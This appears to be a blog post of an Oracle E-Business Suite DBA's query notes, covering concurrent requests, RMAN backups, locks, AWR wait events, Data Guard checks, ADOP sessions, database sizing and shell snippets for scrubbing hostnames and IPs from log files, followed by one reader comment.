QUERIES TO KNOW WHAT CONCURRENT PROGRAMS WERE RUN FROM <start-date-time> to <end-date-time>
--------------------------------------------------------------------------------------------
select u.user_name,r.request_id,p.user_concurrent_program_name,r.actual_start_date,r.actual_completion_date,r.completion_text,
trunc((r.actual_completion_date-r.actual_start_date)*24*60,2) "TotalTimeInMinutes" from
fnd_concurrent_requests r,
fnd_user u,
fnd_concurrent_programs_tl p
where u.user_id=r.requested_by
and p.concurrent_program_id=r.concurrent_program_id
and phase_code='C' /* Completed */
and actual_completion_date is not null
and actual_start_date is not null
AND COMPLETION_TEXT='Normal completion'
and actual_start_date BETWEEN '19-JUN-2013 07:00:00 AM' AND '19-JUN-2013 05:00:00 PM'
order by "TotalTimeInMinutes" desc;
QUERY TO KNOW SCHEDULED CONCURRENT PROGRAMS.
--------------------------------------------
select r.request_id,
p.user_concurrent_program_name || nvl2(r.description,' ('||r.description||')',null) Conc_prog,
s.user_name REQUESTOR,
r.argument_text arguments,
r.requested_start_date next_run,
r.last_update_date LAST_RUN,
r.hold_flag on_hold,
r.increment_dates,
decode(c.class_type,
'P', 'Periodic',
'S', 'On Specific Days',
'X', 'Advanced',
c.class_type) schedule_type,
case
when c.class_type = 'P' then
'Repeat every ' ||
substr(c.class_info, 1, instr(c.class_info, ':') - 1) ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 1) + 1, 1),
'N', ' minutes',
'M', ' months',
'H', ' hours',
'D', ' days') ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 2) + 1, 1),
'S', ' from the start of the prior run',
'C', ' from the completion of the prior run')
when c.class_type = 'S' then
nvl2(dates.dates, 'Dates: ' || dates.dates || '. ', null) ||
decode(substr(c.class_info, 32, 1), '1', 'Last day of month ') ||
decode(sign(to_number(substr(c.class_info, 33))),
'1', 'Days of week: ' ||
decode(substr(c.class_info, 33, 1), '1', 'Su ') ||
decode(substr(c.class_info, 34, 1), '1', 'Mo ') ||
decode(substr(c.class_info, 35, 1), '1', 'Tu ') ||
decode(substr(c.class_info, 36, 1), '1', 'We ') ||
decode(substr(c.class_info, 37, 1), '1', 'Th ') ||
decode(substr(c.class_info, 38, 1), '1', 'Fr ') ||
decode(substr(c.class_info, 39, 1), '1', 'Sa '))
end as schedule,
c.date1 start_date,
c.date2 end_date,
c.class_info
from fnd_concurrent_requests r,
fnd_conc_release_classes c,
fnd_concurrent_programs_tl p,
fnd_user s,
(with date_schedules as (
select release_class_id,
rank() over(partition by release_class_id order by s) a, s
from (select c.class_info, l,
c.release_class_id,
decode(substr(c.class_info, l, 1), '1', to_char(l)) s
from (select level l from dual connect by level <= 31),
fnd_conc_release_classes c
where c.class_type = 'S'
and instr(substr(c.class_info, 1, 31), '1') > 0)
where s is not null)
SELECT release_class_id, substr(max(SYS_CONNECT_BY_PATH(s, ' ')), 2) dates
FROM date_schedules
START WITH a = 1
CONNECT BY nocycle PRIOR a = a - 1
group by release_class_id) dates
where r.phase_code = 'P'
and c.application_id = r.release_class_app_id
and c.release_class_id = r.release_class_id
and nvl(c.date2, sysdate + 1) > sysdate
and c.class_type is not null
and p.concurrent_program_id = r.concurrent_program_id
and p.language = 'US'
and dates.release_class_id(+) = r.release_class_id
and r.requested_by = s.user_id
order by conc_prog, on_hold, next_run;
============
CHANGE PASSWORD OF EBS USER THROUGH API
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
begin
if fnd_user_pkg.changepassword('SYSADMIN','abcd1234')
then null;
end if;
end;
commit;



===
RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN RMAN
BACKUP STATUS check
-------------------
SELECT row_type, operation, status, start_time, end_time
FROM v$rman_status
WHERE status not in 'RUNNING' AND start_time > sysdate -2
ORDER BY start_time ASC;
SELECT OUTPUT_DEVICE_TYPE,STATUS,INPUT_TYPE,START_TIME,END_TIME, OUTPUT_BYTES_DISPLAY, TIME_TAKEN_DISPLAY
FROM v$rman_backup_job_details
WHERE start_time > sysdate -2;
SELECT *
FROM gv$rman_output;
SELECT SID,SERIAL#,OPNAME "TASK_RUNNING",START_TIME "TIME_STARTED",LAST_UPDATE_TIME "CURRENT_TIME",TIME_REMAINING/60 "REMAINING_TIME_IN_MINS", USERNAME "DB_USER" fROM V$SESSION_LONGOPS WHERE TIME_REMAINING<>0 ORDER BY TIME_REMAINING DESC;
SELECT SID,SERIAL#,USERNAME,OSUSER,MACHINE,PROGRAM,MODULE fROM GV$SESSION WHERE SID=9016;



LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS LOCKS
lockED objects within your Oracle system.
------------------------------------------------------
 SELECT a.sid,a.serial#, a.username,c.os_user_name,a.terminal,
b.object_id,substr(b.object_name,1,40) object_name,sysdate
from v$session a, dba_objects b, v$locked_object c
where a.sid = c.session_id
and b.object_id = c.object_id;
select
   c.owner,
   c.object_name,
   c.object_type,
   b.sid,
   b.serial#,
   b.status,
   b.osuser,
   b.machine
from
   v$locked_object a ,
   v$session b,
   dba_objects c
where
   b.sid = a.session_id
and
   a.object_id = c.object_id;

PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE PERFORMANCE
>>>>>*****************GET TOP 5 WAIT EVENTS**********
------------------------------------------------------
select (select dbid from v$database) dbid,1,min(dhs.snap_id) min_snap, max(dhs.snap_id) max_snap
  from dba_hist_snapshot dhs
 where dhs.end_interval_time >= to_date(sysdate - 1)
   and dhs.instance_number = 1
 group by dbid;

wITH aa AS
(SELECT output, ROWNUM r
FROM table(DBMS_WORKLOAD_REPOSITORY.awr_report_text (&v_dbid, 1, &v_min_snap, &v_max_snap)))
SELECT output top_five
FROM aa, (SELECT r FROM aa
WHERE output LIKE 'Top 5 Timed Foreground Events%') bb
WHERE aa.r BETWEEN bb.r AND bb.r + 10
order by bb.r;
***********************<<<<<



>>>>>*****************GET TOP 5 WAIT EVENTS FOR PAST 5 DAYS**********
-------------------------------------------------------------------------
select Day, Event_name, Total_wait from (
select day, event_name, sum(event_time_waited) total_wait,
row_number() over (partition by day order by sum(event_time_waited) desc) rn from (
SELECT   to_date(to_char(begin_interval_time,'dd/mm/yyyy'),'dd/mm/yyyy') day,s.begin_interval_time, m.*
    FROM (SELECT ee.instance_number, ee.snap_id, ee.event_name,
                 ROUND (ee.event_time_waited / 1000000) event_time_waited,
                 ee.total_waits,
                 ROUND ((ee.event_time_waited * 100) / et.total_time_waited,
                        1
                       ) pct,
                 ROUND ((ee.event_time_waited / ee.total_waits) / 1000
                       ) avg_wait
            FROM (SELECT ee1.instance_number, ee1.snap_id, ee1.event_name,
                           ee1.time_waited_micro - ee2.time_waited_micro event_time_waited,
                         ee1.total_waits - ee2.total_waits total_waits
                    FROM dba_hist_system_event ee1 JOIN dba_hist_system_event ee2
                         ON ee1.snap_id = ee2.snap_id + 1
                       AND ee1.instance_number = ee2.instance_number
                       AND ee1.event_id = ee2.event_id
                       AND ee1.wait_class_id <> 2723168908
                       AND ee1.time_waited_micro - ee2.time_waited_micro > 0
                  UNION
                  SELECT st1.instance_number, st1.snap_id,
                         st1.stat_name event_name,
                         st1.VALUE - st2.VALUE event_time_waited,
                         1 total_waits
                    FROM dba_hist_sys_time_model st1 JOIN dba_hist_sys_time_model st2
                         ON st1.instance_number = st2.instance_number
                       AND st1.snap_id = st2.snap_id + 1
                       AND st1.stat_id = st2.stat_id
                       AND st1.stat_name = 'DB CPU'
                       AND st1.VALUE - st2.VALUE > 0
                         ) ee
                 JOIN
                 (SELECT et1.instance_number, et1.snap_id,
                         et1.VALUE - et2.VALUE total_time_waited
                    FROM dba_hist_sys_time_model et1 JOIN dba_hist_sys_time_model et2
                         ON et1.snap_id = et2.snap_id + 1
                       AND et1.instance_number = et2.instance_number
                       AND et1.stat_id = et2.stat_id
                       AND et1.stat_name = 'DB time'
                       AND et1.VALUE - et2.VALUE > 0
                         ) et
                 ON ee.instance_number = et.instance_number
               AND ee.snap_id = et.snap_id
                 ) m
         JOIN
         dba_hist_snapshot s ON m.snap_id = s.snap_id
) group by day ,event_name
order by day desc, total_wait desc
) where rn < 5



Execution plan
-----------------
ALTER SESSION SET NLS_dATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select * from gv$session where osuser LIKE 'BOADMIN';
SELECT * FROM DICTIONARY WHERE TABLE_NAME LIKE '%PLAN%';
DESC Gv$SQL_PLAN;
SELECT username, prev_sql_id,PROGRAM,MODULE,PREV_EXEC_START
FROM v$session
WHERE username = 'KOUNCIL_DWH';

SELECT *
  FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('b4rkxgq8syk5d'));

SELECT *
  FROM TABLE(DBMS_XPLAN.DISPLAY_CURSOR('7tmr31a32n37q'));
 
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='b4rkxgq8syk5d';
SELECT SQL_TEXT fROM GV$SQLTEXT WHERE SQL_ID='7tmr31a32n37q';



############EBS - kill direct db connections through toad and plsql developer
SELECT username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT inst_id,sid,serial#,username,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe');
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM  GV$SESSION WHERE lower(program) in ('plsqldev.exe','toad.exe') and lower(osuser) not in ('ad1007860');
############################################

SELECT * FROM FND_OAM_CONTEXT_FILES WHERE NAME NOT IN ('TEMPLATE','METADATA') ORDER BY NODE_NAME DESC, STATUS ASC;
SELECT name,extractvalue(xmltype(text),'//web_port')
 FROM fnd_oam_context_files where status='S'
and NAME NOT IN ('TEMPLATE','METADATA');

ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP ADOP
select * From ad_adop_sessions;
select * from fnd_nodes;
select * from fnd_oam_context_files;
select * from adop_valid_nodes;
select * from ad_zd_logs
select ADOP_SESSION_ID,PREPARE_STATUS,APPLY_STATUS,FINALIZE_STATUS,CUTOVER_STATUS,CLEANUP_STATUS,ABORT_STATUS,STATUS,ABANDON_FLAG,NODE_NAME from AD_ADOP_SESSIONS order by ADOP_SESSION_ID;


##############################################################################
DB Size, Avg Archives per day, Undo Data Retention size, Flashback Logs size, Recyclebin size
##############################################################################
set heading  on
set feedback off
set linesize 150
set pagesize 1000
set echo     off
set verify   off
------------
(1) Database
------------
column total_db_size   format a30 heading "Total Database Size (GB)"
select to_char((nvl(data_size,0)+nvl(temp_size,0)+nvl(redo_size1,0)+nvl(redo_size2,0)+nvl(cntl_size,0))/1024/1024/1024,'999,990') total_db_size
from  (select sum(bytes)                     data_size   from dba_data_files) t1,
      (select sum(bytes)                     temp_size   from dba_temp_files) t2,
      (select sum(a.bytes)                   redo_size1  from v$log a, v$logfile b         where  a.group# = b.group#) t3,
      (select sum(a.bytes)                   redo_size2  from v$standby_log a, v$logfile b where  a.group# = b.group#) t4,
      (select sum(file_size_blks*block_size) cntl_size   from v$controlfile) t5
/
--------------------------------
(2) Average Archive Data Per Day
--------------------------------
column count_dest                    format a25 heading "Number of Destinations"
column average_archive_size_per_day  format a40 heading "Average Archive File Size (MB) Per Day"
select to_char(a.count_dest,'990')                         count_dest,
       to_char(b.total_size/b.no_days/1024/1024,'999,990') average_archive_size_per_day
from  (select count(distinct dest_id) count_dest
       from   v$archive_dest
       where  status = 'VALID'
       and    target = 'PRIMARY'
      ) a,
      (select sum(blocks*block_size) total_size, count(distinct trunc(completion_time)) no_days,
              min(trunc(completion_time)) min_archive_date, max(trunc(completion_time)) max_archive_date
       from   v$archived_log
       where  trunc(completion_time) between trunc(sysdate)-30 and trunc(sysdate)-1
      ) b
/
-----------------------
(3) Undo Data Retention
-----------------------
column undo_retention  format a30 heading "Undo Retention (Days)"
column undo_size       format a30 heading "Undo Size (GB)"
select a.undo_retention, b.undo_size
from  (select to_char(value/60/60/24,'999,990') undo_retention
       from   v$parameter
       where  lower(name) = 'undo_retention'
      ) a,
      (select to_char(sum(bytes)/1024/1024/1024,'999,990') undo_size
       from   dba_data_files
       where  tablespace_name in (select tablespace_name
                                  from   dba_tablespaces
                                  where  contents = 'UNDO'
                                 )
     ) b
/
------------------
(4) Flashback Logs
------------------
column flashback_on           format a15 heading "Flashback On"
column flashback_retention    format a30 heading "Flashback Retention (Days)"
column flashback_size         format a20 heading "Flashback Size (GB)"
column flashback_destination  format a50 heading "Flashback Destination"

select a.flashback_on, c.flashback_retention, b.flashback_size, d.flashback_destination
from  (select flashback_on
       from   v$database
      ) a,
      (select to_char(sum(flashback_size)/1024/1024/1024,'999,990') flashback_size
       from   gv$flashback_database_log
      ) b,
      (select to_char(value/60/24,'999,990') flashback_retention
       from   v$parameter
       where  lower(name) = 'db_flashback_retention_target'
      ) c,
      (select value flashback_destination
       from   v$parameter
       where  lower(name) = 'db_recovery_file_dest'
      ) d
/
--------------
(5) Recyclebin
--------------
column recyclebin_status format a30 heading "Recyclebin Status"
column recyclebin_size   format a30 heading "Recyclebin Size (MB)"
select a.recyclebin_status, b.recyclebin_size
from  (select value recyclebin_status
       from   v$parameter
       where  lower(name) = 'recyclebin'
      ) a,
      (select to_char(sum(a.space*b.block_size)/1024/1024,'999,990') recyclebin_size
       from   dba_recyclebin a, dba_tablespaces b
       where  a.ts_name = b.tablespace_name
      ) b
/
prompt
prompt


###############################
Data Guard Dataguard Quick SQL dg dg dg
###############################
SQL> show parameter succ
Name                            TYPE          value
---------------------------------------- --------------
log_archive_min_succeed_dest    integer       2


ORA-16401: archive log rejected by Remote File Server (RFS)


alter database set standby database to maximize performance;


alter system checkpoint global; --> on primary to switch both instance log files.


alter database recover managed standby database using current logfile disconnect from session;
alter database recover managed standby database using current logfile disconnect from session;


select thread#,max(sequence#) from v$archived_log group by thread#;


select thread#, max(sequence#) from v$archived_log where applied ='YES' and REGISTRAR='RFS' group by thread# ;


set pagesize 10000
select process, status from V$managed_standby;
select * from (SELECT THREAD#, MAX(SEQUENCE#), TO_CHAR(FIRST_TIME,'DD-MON-YY HH:MI:SS AM') AS "LAST_APPLIED_LOG" FROM V$LOG_HISTORY GROUP BY THREAD#, FIRST_TIME order by FIRST_TIME desc ) where rownum < 3;
select thread#, max(sequence#) "Last Primary Seq Generated"
from v$archived_log val, v$database vdb
where val.resetlogs_change# = vdb.resetlogs_change#
group by thread# order by 1;

SHOW PARAMETER log_archive_dest_state_2

alter system set log_archive_dest_state_2='defer' scope=memory sid='*';


alter system set log_archive_dest_state_2='enable' scope=memory sid='*';

select process,status,sequence# from v$managed_standby;


select message from v$dataguard_status;

SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45563_935510789.arc';
Database altered.
SQL> ALTER DATABASE REGISTER LOGFILE '/u01/mydb/archivelog/mydbdr_1_45564_935510789.arc';
*
ERROR at line 1:
ORA-16089: archive log has already been registered



SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;


PROCESS   STATUS          THREAD#  SEQUENCE#     BLOCK#     BLOCKS
--------- ------------ ---------- ---------- ---------- ----------
ARCH      CONNECTED             0          0          0          0
ARCH      CONNECTED             0          0          0          0
ARCH      CONNECTED             0          0          0          0
ARCH      CONNECTED             0          0          0          0
MRP0      WAIT_FOR_GAP          1      45568          0          0


*Heartbeat failed to connect to standby
SOLUTION: Copied the password file from node1 to DR server, it got out of sync when password was changed for sys manually.


set longc 2000
set lines 300
col name for a60
select process, status from V$managed_standby;
SELECT THREAD#, MAX(SEQUENCE#) AS "LAST_APPLIED_LOG"
  FROM V$LOG_HISTORY
 GROUP BY THREAD#
/

select *
  from (SELECT THREAD#,
                MAX(SEQUENCE#),
                TO_CHAR(FIRST_TIME,
                         'DD-MON-YY HH:
MI:SS AM') AS "LAST_APPLIED_LOG"
           FROM V$LOG_HISTORY
          GROUP BY THREAD#, FIRST_TIME
          order by FIRST_TIME desc)
 where rownum < 3;

select thread#, max(sequence#) "Last Primary Seq Generated"
  from v$archived_log val, v$database vdb
 where val.resetlogs_change# = vdb.resetlogs_change#
 group by thread#
 order by 1;

SELECT PROCESS, STATUS, THREAD#, SEQUENCE#, BLOCK#, BLOCKS FROM V$MANAGED_STANDBY;





----------------------------------
GET List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do

 apath=`pwd`
 for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}'  $FILE `
  do
  echo $j " in " $FILE

  done
done
----------------------------------------------------
Comprehensive in the Log Files
----------------------------------------------------
find . -type f -name '*' | while read FILE
do
 sed -i 's/ebstest_ebstest/APPNAME_NODE1/g' ${FILE}   # Scramble APPNAME_HOSTNAME
 sed -i 's/u02\/ebstest/DISK\/APPNAME/g' ${FILE}    # Scramble EBS Instance Name
 sed -i 's/ebstest/NODE1/g' ${FILE}     # Scramble  Apps Host name
 sed -i 's/ed-olraclin1/PHY_NODE1_NAME/g' ${FILE}   # Scramble  Physical Hostname1
 sed -i 's/ed-olraclin2/PHY_NODE2_NAME/g' ${FILE}   # Scramble  Physical Hostname2
 sed -i 's/apps/DEFAULT_APP_NAME/g' ${FILE}    # Scramble  Default App Name
 sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE}    # Scramble  Cluster name Lower Case
 sed -i 's/apps\-cluster/CLUSTER_NAME/g' ${FILE}    # Scramble  Cluster name Upper Case
 sed -i -r 's/(\b[0-9]{1,3}\.){3}[0-9]{1,3}\b/999.999.999.999/g' ${FILE} # Scramble  IP Address to standard 999.999.999.999
done
----------------------------------
apps List the IPs in the Log Files
----------------------------------
find . -type f -name '*' | while read FILE
do

 apath=`pwd`
 for j in `awk 'match($0, /[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/) {i[substr($0,RSTART,RLENGTH)]=1}END{for(ip in i){printf("%s\n", ip)}}'  $FILE `
  do
  echo $j " in " $FILE

  done
done




query to find hidden parameters starting with _ underscore
SELECT name,description from SYS.V$PARAMETER WHERE name LIKE '\_%' ESCAPE '\';

query to find periodic alerts scheduled

SELECT FATL.APPLICATION_NAME,AA.ALERT_ID,AA.ALERT_NAME,AA.CREATION_DATE,AA.LAST_UPDATE_DATE,AA.START_DATE_ACTIVE,
AA.END_DATE_ACTIVE,AL_CONDITION_TYPE.MEANING ALERT_CONDITION_TYPE,AL_FREQUENCY_TYPE.MEANING ALERT_FREQUENCY_TYPE
FROM APPS.ALR_ALERTS AA,APPS.ALR_LOOKUPS AL_FREQUENCY_TYPE,APPS.ALR_LOOKUPS AL_CONDITION_TYPE,APPS.FND_APPLICATION_TL FATL
WHERE AA.ENABLED_FLAG='Y' AND
AL_FREQUENCY_TYPE.LOOKUP_CODE=AA.FREQUENCY_TYPE AND AL_FREQUENCY_TYPE.ENABLED_FLAG='Y' AND 
AL_FREQUENCY_TYPE.LOOKUP_TYPE='ALERT_FREQUENCY_TYPE' AND
AL_CONDITION_TYPE.LOOKUP_CODE=AA.ALERT_CONDITION_TYPE AND AL_CONDITION_TYPE.ENABLED_FLAG='Y' AND 
AL_CONDITION_TYPE.LOOKUP_TYPE='ALERT_CONDITION_TYPE' AND
FATL.APPLICATION_ID=AA.APPLICATION_ID AND FATL.LANGUAGE='US'
ORDER BY AA.APPLICATION_ID,AA.FREQUENCY_TYPE;




1 comment:

Pavan Sharma said...

Really this is useful info. I have tried this packaged function on 10g and got error so i visit this link.